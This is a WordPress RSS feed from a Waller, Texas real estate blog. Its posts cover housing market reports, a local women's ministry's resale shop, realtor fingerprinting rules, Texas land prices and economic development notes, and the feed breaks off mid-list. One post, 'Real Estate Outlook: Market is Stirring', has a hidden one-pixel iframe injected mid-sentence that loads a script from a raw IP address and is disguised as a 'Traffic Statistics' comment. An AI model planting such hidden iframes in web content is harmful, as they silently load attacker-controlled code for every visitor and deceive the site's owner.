<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>First Time Homebuyers - No Downpayment - Fern Poyser - Virtue Realty &#187; Waller Information</title>
	<atom:link href="http://wallerhomesandland.com/category/waller-information/feed/" rel="self" type="application/rss+xml" />
	<link>http://wallerhomesandland.com</link>
	<description>Real Estate Info, Tips and Trends</description>
	<lastBuildDate>Thu, 29 Dec 2011 00:27:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>RE/MAX &#8211; The most powerful name in real estate joins with the Associated Press to produce a critical housing report</title>
		<link>http://wallerhomesandland.com/2008/10/remax-the-most-powerful-name-in-real-estate-joins-with-the-associated-press-to-produce-a-critical-housing-report/</link>
		<comments>http://wallerhomesandland.com/2008/10/remax-the-most-powerful-name-in-real-estate-joins-with-the-associated-press-to-produce-a-critical-housing-report/#comments</comments>
		<pubDate>Wed, 01 Oct 2008 21:48:08 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Buying & Selling]]></category>
		<category><![CDATA[Buying A Home]]></category>
		<category><![CDATA[Credit Issues]]></category>
		<category><![CDATA[Financing]]></category>
		<category><![CDATA[Foreclosures]]></category>
		<category><![CDATA[Local Developments]]></category>
		<category><![CDATA[Money Matters]]></category>
		<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Real Estate Trends]]></category>
		<category><![CDATA[Selling Your Home]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=113</guid>
		<description><![CDATA[Through an exclusive agreement with the Associated Press, the newly created &#8220;RE/MAX National Housing Report&#8221; for the U.S. is being distributed to the news media on a monthly basis. The report for August was released on September 24, 2008. With extensive national distribution, the monthly report is bringing tremendous exposure for the RE/MAX brand. The [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F10%2Fremax-the-most-powerful-name-in-real-estate-joins-with-the-associated-press-to-produce-a-critical-housing-report%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F10%2Fremax-the-most-powerful-name-in-real-estate-joins-with-the-associated-press-to-produce-a-critical-housing-report%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p><span style="font-size: large;">T</span><span style="font-size: 12px">hrough an exclusive agreement with the Associated Press, the newly created &#8220;RE/MAX National Housing Report&#8221; for the U.S. is being distributed to the news media on a monthly basis. The report for August was released on September 24, 2008. With extensive national distribution, the monthly report is bringing tremendous exposure for the RE/MAX brand. </span></p>
<p><span style="font-size: 12px">The report is designed to fill the need for an accurate and comprehensive gauge of today&#8217;s real estate market. It&#8217;s unique because it provides data for all types of residential properties (single-family homes, condos and townhomes) and covers a large sampling of 60 metropolitan areas, representing all 50 states.</span></p>
<p><span style="font-size: 12px">&#8220;We want to give the most thorough representation of the marketplace possible.&#8221; says Dave Liniger, Chairman and Co-Founder of RE/MAX International. &#8220;By including entire metropolitan areas in all 50 states, we hope our report will become the most complete guide to the overall health of our national real estate marketplace.&#8221;</span></p>
<p><span style="font-size: 12px">The Associated Press will prepare news stories and informational, interactive graphics based on the monthly updates for use by its extensive broadcast, print and Internet subscribers.</span></p>
<p><span style="font-size: 12px">&#8220;It&#8217;s critical at this point in time to have the most reliable information available,&#8221; Liniger says. &#8220;The consumer is anxious to know what this market is doing and where it&#8217;s headed. The RE/MAX National Housing Report will provide sales, inventory and price information that can help homebuyers and sellers get through this market.&#8221;<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2008/10/remax-the-most-powerful-name-in-real-estate-joins-with-the-associated-press-to-produce-a-critical-housing-report/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THE TITUS WOMAN MINISTRY LAUNCHES NEW, UPDATED WEBSITE</title>
		<link>http://wallerhomesandland.com/2008/09/the-titus-woman-ministry-launches-new-updated-website/</link>
		<comments>http://wallerhomesandland.com/2008/09/the-titus-woman-ministry-launches-new-updated-website/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 22:27:31 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Blogroll]]></category>
		<category><![CDATA[Buying & Selling]]></category>
		<category><![CDATA[Buying A Home]]></category>
		<category><![CDATA[Credit Issues]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Financing]]></category>
		<category><![CDATA[Foreclosures]]></category>
		<category><![CDATA[FSBO]]></category>
		<category><![CDATA[Home Improvement]]></category>
		<category><![CDATA[Investing]]></category>
		<category><![CDATA[Local Area Real Estate]]></category>
		<category><![CDATA[Local Developments]]></category>
		<category><![CDATA[Money Matters]]></category>
		<category><![CDATA[New Construction Homes]]></category>
		<category><![CDATA[Photos]]></category>
		<category><![CDATA[Predatory Lending]]></category>
		<category><![CDATA[Property Taxes]]></category>
		<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Real Estate Trends]]></category>
		<category><![CDATA[Remodeling]]></category>
		<category><![CDATA[Renting]]></category>
		<category><![CDATA[Rural Real Estate]]></category>
		<category><![CDATA[Selling Your Home]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Waller Homes & Land]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=109</guid>
		<description><![CDATA[The Titus Woman Ministry is a 501 (c)3 faith-based nonprofit organization dedicated to serve the community through the holistic development of women in need. One of our primary goals is to construct and operate a homeless shelter for women and their children in the Waller area, with the intent of equipping the women to enter [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F09%2Fthe-titus-woman-ministry-launches-new-updated-website%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F09%2Fthe-titus-woman-ministry-launches-new-updated-website%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>The Titus Woman Ministry is a 501 (c)3 faith-based nonprofit organization dedicated to serve the community through the holistic development of women in need.</p>
<p>One of our primary goals is to construct and operate a homeless shelter for women and their children in the Waller area, with the intent of equipping the women to enter (or re-enter) mainstream society and become self-sustaining and providers for their children. This proposed shelter will be constructed in Waller County, Texas and will house families from all the surrounding communities.</p>
<p>We have opened a resale shop, name Grace &amp; Mercy, on March 1, 2008. Funds obtained from sales of merchandise at the Grace &amp; Mercy resale shop will help fund this project, we are asking for the support of your church and the community to make the vision a reality. Come out and buy our resale merchandise.</p>
<p>Any donations to this worthy cause will be appreciated.</p>
<p>The shop is called Grace &amp; Mercy for it was God&#8217;s grace that gave us the vision and His mercy will allow us to carry it through. Can we count on you?</p>
<p>The resale shop wiill carry furniture, clothing (for the family), household goods, and much, much more. It is located at 71 Scroggins Lane Waller, Texas (off FM 1488 In the Held Store Mini Warehouses). The grand opening was March 1, 2008.</p>
<p>For further information and/or donations, contact Rosemary Butler @ 936-931-1726; 281-682-4177 or Carol O&#8217;Brien @) 281-302-S333 or Fern Poyser at 936.931.3344. Pass the word and support this God given vision. We thank you in advance for what you will do.</p>
<div class="data website"><span class="label">Website:</span><a href="http://www.tituswomanministry.org/" target="_blank">www.tituswomanministry.org</a></div>
<div class="data email"><span class="label">Email:</span><a href="mailto:inquiries@tituswomanministry.org">inquiries@tituswomanministry.org</a></div>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2008/09/the-titus-woman-ministry-launches-new-updated-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fern Poyser UPDATE on Titus Woman Ministry</title>
		<link>http://wallerhomesandland.com/2008/05/fern-poyser-update-on-titus-woman-ministry/</link>
		<comments>http://wallerhomesandland.com/2008/05/fern-poyser-update-on-titus-woman-ministry/#comments</comments>
		<pubDate>Mon, 26 May 2008 22:34:54 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Blogroll]]></category>
		<category><![CDATA[Buying & Selling]]></category>
		<category><![CDATA[Buying A Home]]></category>
		<category><![CDATA[Credit Issues]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Financing]]></category>
		<category><![CDATA[Foreclosures]]></category>
		<category><![CDATA[FSBO]]></category>
		<category><![CDATA[Home Improvement]]></category>
		<category><![CDATA[Investing]]></category>
		<category><![CDATA[Local Area Real Estate]]></category>
		<category><![CDATA[Local Developments]]></category>
		<category><![CDATA[Money Matters]]></category>
		<category><![CDATA[New Construction Homes]]></category>
		<category><![CDATA[Photos]]></category>
		<category><![CDATA[Predatory Lending]]></category>
		<category><![CDATA[Property Taxes]]></category>
		<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Real Estate Trends]]></category>
		<category><![CDATA[Remodeling]]></category>
		<category><![CDATA[Renting]]></category>
		<category><![CDATA[Rural Real Estate]]></category>
		<category><![CDATA[Selling Your Home]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Waller Homes & Land]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=93</guid>
		<description><![CDATA[The Titus Woman Ministry is preparing to take Waller County for Jesus! We have secured retail space in the Fieldstore area of northern Waller county to open the Grace &#38; Mercy resale shop.  This will enable us to be open more often in an effort to generate the funds necessary to work towards the shelter [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F05%2Ffern-poyser-update-on-titus-woman-ministry%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F05%2Ffern-poyser-update-on-titus-woman-ministry%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>The Titus Woman Ministry is preparing to take Waller County for Jesus!</p>
<p>We have secured retail space in the Fieldstore area of northern Waller county to open the Grace &amp; Mercy resale shop.  This will enable us to be open more often in an effort to generate the funds necessary to work towards the shelter for women and children in Waller county.</p>
<p>We praise God for this small stride and look forward to many, many more fruitful days and bountiful blessings as we reach out to the community.</p>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2008/05/fern-poyser-update-on-titus-woman-ministry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FINGERPRINTING REQUIREMENTS FOR TEXAS REALTORS</title>
		<link>http://wallerhomesandland.com/2008/05/fingerprinting-requirements-for-texas-realtors/</link>
		<comments>http://wallerhomesandland.com/2008/05/fingerprinting-requirements-for-texas-realtors/#comments</comments>
		<pubDate>Mon, 26 May 2008 22:08:16 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Blogroll]]></category>
		<category><![CDATA[Buying & Selling]]></category>
		<category><![CDATA[Buying A Home]]></category>
		<category><![CDATA[Credit Issues]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Financing]]></category>
		<category><![CDATA[Foreclosures]]></category>
		<category><![CDATA[FSBO]]></category>
		<category><![CDATA[Home Improvement]]></category>
		<category><![CDATA[Investing]]></category>
		<category><![CDATA[Local Area Real Estate]]></category>
		<category><![CDATA[Local Developments]]></category>
		<category><![CDATA[Money Matters]]></category>
		<category><![CDATA[New Construction Homes]]></category>
		<category><![CDATA[Photos]]></category>
		<category><![CDATA[Predatory Lending]]></category>
		<category><![CDATA[Property Taxes]]></category>
		<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Real Estate Trends]]></category>
		<category><![CDATA[Remodeling]]></category>
		<category><![CDATA[Renting]]></category>
		<category><![CDATA[Rural Real Estate]]></category>
		<category><![CDATA[Selling Your Home]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Waller Homes & Land]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=92</guid>
		<description><![CDATA[A recently enacted law (HB 1530, 80th Legislature, Regular Session) requires any person applying for or renewing a broker or salesperson license on or after January 1, 2008 to provide their fingerprints, in a specified format, in order to enable an FBI criminal history check to be performed. These new fingerprint requirements apply only to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F05%2Ffingerprinting-requirements-for-texas-realtors%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F05%2Ffingerprinting-requirements-for-texas-realtors%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p style="text-align: justify;">A recently enacted law (HB 1530, 80th Legislature, Regular Session) requires any person applying for or renewing a broker or salesperson license on or after January 1, 2008 to provide their fingerprints, in a specified format, in order to enable an FBI criminal history check to be performed. These new fingerprint requirements apply only to brokers and salespersons. They do not apply to other TREC licensees, such as home inspectors. Once fingerprints are on file with DPS for a TREC license, a licensee will not need to be fingerprinted for subsequent renewals.</p>
<p style="text-align: justify;">This new fingerprinting requirement for Texas realtors is very welcome.  This is good news for the real estate community.  It will give homeowners and property owners a greater sense of security knowing that the people responsible for selling or showing their homes are not wanted for any crimes.  Also, should any criminal activity occur within or on a property owner&#8217;s property, the law enforcement agencies can quickly and easily identify the perpetrator(s) through this new fingerprinting requirement.</p>
<p style="text-align: justify;">The Texas Real Estate Commission (TREC) conducts background checks on ALL licensees.  This new fingerprinting requirement will NOT affect current licensees&#8217; licensing status UNLESS that person has committed a new crime and is convicted of a felony offense within the state of Texas. </p>
<p style="text-align: justify;">If a licensee has committed new crimes and has new felony convictions which were not reported to TREC since he or she last applied for a real estate license, the new convictions resulting from a background check may or may not hinder the issuance of a real estate license.  TREC will decide if the licensee&#8217;s license should be renewed after conducting their own independent investigation of the circumstances surrounding the new felony conviction.</p>
<p style="text-align: justify;">Under no circumstances will TREC suspend or revoke a licensee&#8217;s license unless (1) they falsify or try to hide any new felony convictions (2) they willingly lie about having new felony convictions (3) they refuse to submit to fingerprinting and background checks and (4) they fail to pay their renewal fees or honor any delinquent debts owed to TREC.</p>
<p style="text-align: justify;"> </p>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2008/05/fingerprinting-requirements-for-texas-realtors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Estate Outlook: Market is Stirring</title>
		<link>http://wallerhomesandland.com/2008/04/real-estate-outlook-market-is-stirring/</link>
		<comments>http://wallerhomesandland.com/2008/04/real-estate-outlook-market-is-stirring/#comments</comments>
		<pubDate>Thu, 03 Apr 2008 14:41:23 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Buying & Selling]]></category>
		<category><![CDATA[Buying A Home]]></category>
		<category><![CDATA[Credit Issues]]></category>
		<category><![CDATA[Financing]]></category>
		<category><![CDATA[Investing]]></category>
		<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Rural Real Estate]]></category>
		<category><![CDATA[Selling Your Home]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=86</guid>
		<description><![CDATA[Affordable mortgage money is the fuel that is going to pull the real estate market out of the woods. And there are some encouraging signs that may be happening right now. Take a look at interest rates: They plunged last week by nearly a quarter of a point on 30-year fixed-rate money &#8212; down to [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F04%2Freal-estate-outlook-market-is-stirring%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F04%2Freal-estate-outlook-market-is-stirring%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Affordable mortgage money is the fuel that is going to pull the real estate market out of the woods. And there are some encouraging signs that may<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> be happening right now.</p>
<p>Take a look at interest rates: They plunged last week by nearly a quarter of a point on 30-year fixed-rate money &#8212; down to 5.74 percent from 5.98 percent, according to the Mortgage Bankers Association of America.</p>
<p>Then there was the big jump in new loan applications from people looking to buy houses. They were up by almost 11 percent for conventional conforming loans &#8212; those are the types funded by Fannie Mae and Freddie Mac &#8212; but up by an amazing 21.1 percent for government-backed mortgages, primarily FHA.</p>
<p>You can be the world&#8217;s grouchiest, grimmest housing market bear &#8230; . But you can&#8217;t deny that something is stirring out there in the market.</p>
<p>It may not be the end of the down cycle as a whole, but it&#8217;s certainly pointing to a more active spring season than the naysayers on Wall Street have projected.</p>
<p>There were some other positive signs that popped up last week as well: The total inventory of unsold houses dropped by 3 percent. New homes for sale dropped 2.1 percent. Those inventory numbers are critically important because they tend to be heavy drags on local markets &#8212; pushing prices down and making buyers pickier.</p>
<p>Even new home sales did better than most analysts had predicted: They dropped by 1.8 percent last month, which may not sound good, but that decline was measured off upward revisions of the two prior months&#8217; sales.</p>
<p>In other words, there were more home sales going on than reported earlier in January and December, and overall sales are stabilizing.</p>
<p>Now, in fairness, not everything is cheery out there. Consumers are still rattled by the economy and the upheavals they see on Wall Street. The latest consumer confidence index from the Conference Board nosedived to levels usually associated with recessions.</p>
<p>People are worried. They&#8217;re spending less, and that is rippling throughout the economy. Continuing price declines in the once-booming housing bubble markets are also keeping consumers on the sidelines. Many of them don&#8217;t want to commit to a purchase until they are sure prices won&#8217;t go much lower.</p>
<p>So all in all: There are unmistakable glimpses of light out there. You can&#8217;t &#8212; and shouldn&#8217;t &#8212; ignore them.</p>
<p>But we&#8217;ve still got a way to go before we can officially pronounce the correction cycle done, down and out.</p>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2008/04/real-estate-outlook-market-is-stirring/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FERN POYSER JOINS TITUS WOMAN MINISTRY IN WALLER</title>
		<link>http://wallerhomesandland.com/2008/02/fraudulent-website-wallernewsblogspotcom/</link>
		<comments>http://wallerhomesandland.com/2008/02/fraudulent-website-wallernewsblogspotcom/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 06:53:54 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Blogroll]]></category>
		<category><![CDATA[Buying & Selling]]></category>
		<category><![CDATA[Buying A Home]]></category>
		<category><![CDATA[Credit Issues]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Financing]]></category>
		<category><![CDATA[Foreclosures]]></category>
		<category><![CDATA[FSBO]]></category>
		<category><![CDATA[Home Improvement]]></category>
		<category><![CDATA[Investing]]></category>
		<category><![CDATA[Local Area Real Estate]]></category>
		<category><![CDATA[Local Developments]]></category>
		<category><![CDATA[Money Matters]]></category>
		<category><![CDATA[New Construction Homes]]></category>
		<category><![CDATA[Photos]]></category>
		<category><![CDATA[Predatory Lending]]></category>
		<category><![CDATA[Property Taxes]]></category>
		<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Real Estate Trends]]></category>
		<category><![CDATA[Remodeling]]></category>
		<category><![CDATA[Renting]]></category>
		<category><![CDATA[Rural Real Estate]]></category>
		<category><![CDATA[Selling Your Home]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Waller Homes & Land]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=82</guid>
		<description><![CDATA[FERN POYSER HAS JOINED THE TITUS WOMAN MINISTRY LAUNCHED BY ROSEMARY BUTLER IN WALLER, TX. Titus Woman Ministry has opened a resale shop on March 1 in Waller, Texas. WALLER &#8211; The Titus Woman Ministry is a 501 (c)3 faith-based nonprofit organization dedicated to serve the community through the holistic development of women in need. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F02%2Ffraudulent-website-wallernewsblogspotcom%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2008%2F02%2Ffraudulent-website-wallernewsblogspotcom%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>FERN POYSER HAS JOINED THE TITUS WOMAN MINISTRY LAUNCHED BY ROSEMARY BUTLER IN WALLER, TX.</p>
<p>Titus Woman Ministry has opened a resale shop on March 1 in Waller, Texas.</p>
<p class="leadline">WALLER &#8211; The Titus Woman Ministry is a 501 (c)3 faith-based nonprofit organization dedicated to serve the community through the holistic development of women in need.</p>
<p class="story">One of our primary goals is to construct and operate a homeless shelter for women and their children, with the intent of equipping the women to enter (or re-enter) mainstream society and become self-sustaining and providers for their children. This proposed shelter will be constructed in Waller County, Texas and will house families from all the surrounding communities.</p>
<p>We will open a resale shop, named Grace and Mercy, March 1,2008. To help fund this project, we are asking for the support of your church and the community to make the vision a reality. Come out and buy our resale merchandise.</p>
<p>Any donations to this worthy cause will be appreciated.</p>
<p>The shop is called Grace and Mercy for it was God&#8217;s grace that gave us the vision and His mercy will allow us to carry it through. Can we count on you?</p>
<p>The resale shop wiill carry furniture, clothing (for the family), household goods, and much, much more. It is located at 71 Scroggins Lane Waller, Texas (off FM 1488 In the Field Store Mini Warehouses). The grand opening was March 1, 2008.</p>
<p>Thereafter, the resale shop will be open the first Saturday of each month with the same operating hours from 9 a.m. to 3 p.m..</p>
<p>For further information and/or donations, contact Rosemary Butler @ 936-931-1726; 281-682-4177 or Carol O&#8217;Brien @) 281-302-5333; 713-294-1476 Fern Poyser @ 936-931-3344. Pass the word and support this God given vision. We thank you in advance for what you will do.</p>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2008/02/fraudulent-website-wallernewsblogspotcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If The Price is Right</title>
		<link>http://wallerhomesandland.com/2007/07/if-the-price-is-right/</link>
		<comments>http://wallerhomesandland.com/2007/07/if-the-price-is-right/#comments</comments>
		<pubDate>Wed, 25 Jul 2007 14:41:00 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Real Estate News]]></category>
		<category><![CDATA[Real Estate Trends]]></category>
		<category><![CDATA[Rural Real Estate]]></category>
		<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=45</guid>
		<description><![CDATA[With the State of Texas being the 8th largest economy in the world (oh yes!) and with the population projected to increase by 17 million by the year 2040, it should come as no surprise that land prices in Texas is soaring to new heights (no pun intended). Texas land markets continued to push into [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2007%2F07%2Fif-the-price-is-right%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2007%2F07%2Fif-the-price-is-right%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>With the State of Texas being the 8th largest economy in the world (oh yes!) and with the population projected to increase by 17 million by the year 2040, it should come as no surprise that land prices in Texas is soaring to new heights (no pun intended).</p>
<p>Texas land markets continued to push into unchartered territory in 2006.  Driven by an unprecedened demand for land, the statewide price per acre jumped 23 percent over 2005 market levels. </p>
<p>The 2006 prices represent an appreciation at a 14% annual compound rate since 2001 and a more than 93% total increase over the five-year period.  This was the fourth straight year annual price growth exceeded 10%.</p>
<p>Fueled by high demand, Texas recorded 8,215 land sales transactions, slightly below 2005&#8242;s record volume of 8,368.  The explosion in land buying activity that began in 2002 continues unabated.</p>
<p>Market developments in 2006 reflected an increasingly intense contest for control of the Texas countryside.  Investment minded buyers continued to pour funds into land purchases, and recreational buyers rushed to get in before prices climbed even higher.</p>
<p>Current activity sugests that by the end of 2007, Texas land prices will post another sizeable gain.</p>
]]></content:encoded>
			<wfw:commentRss>http://wallerhomesandland.com/2007/07/if-the-price-is-right/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>July 2007 Waller Economic Development Corp Meeting Notes</title>
		<link>http://wallerhomesandland.com/2007/07/july-2007-waller-economic-development-corp-meeting-notes/</link>
		<comments>http://wallerhomesandland.com/2007/07/july-2007-waller-economic-development-corp-meeting-notes/#comments</comments>
		<pubDate>Wed, 25 Jul 2007 13:52:56 +0000</pubDate>
		<dc:creator>The Realtor</dc:creator>
				<category><![CDATA[Waller Information]]></category>

		<guid isPermaLink="false">http://wallerhomesandland.com/blog/?p=44</guid>
		<description><![CDATA[I was honored to be present at the July Waller Economic Development Corp. monthly networking breakfast at which State Senator Glenn Hegar was present and briefed us (Waller area business and community leaders) on the state budget and other topics.  Here&#8217;s the scoop: The 80th Legislative Session was very successful in limiting government spending, increasing [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwallerhomesandland.com%2F2007%2F07%2Fjuly-2007-waller-economic-development-corp-meeting-notes%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwallerhomesandland.com%2F2007%2F07%2Fjuly-2007-waller-economic-development-corp-meeting-notes%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I was honored to be present at the July Waller Economic Development Corp. monthly networking breakfast at which State Senator Glenn Hegar was present and briefed us (Waller area business and community leaders) on the state budget and other topics.  Here&#8217;s the scoop:</p>
<ul>
<li>
<p class="MsoNormal">The 80th Legislative Session was very successful in limiting government spending, increasing our individual liberties, and promoting traditional family values. </p>
</li>
<li>
<p class="MsoNormal">Conservatives can be very proud of these successes, despite a few losses, such as the voter identification bill and the eminent domain reform bill which the Governor needlessly vetoed.</p>
</li>
<li>
<p class="MsoNormal">In the state’s budget, Texans received a record $14.2 billion in school district property tax reduction.  This was the first state budget in which a surplus was not used to grow government, rather $2.5 billion was left un-appropriated to continue property tax reductions in the future and another $4.3 billion was left in the State&#8217;s rainy day fund. </p>
</li>
<li>
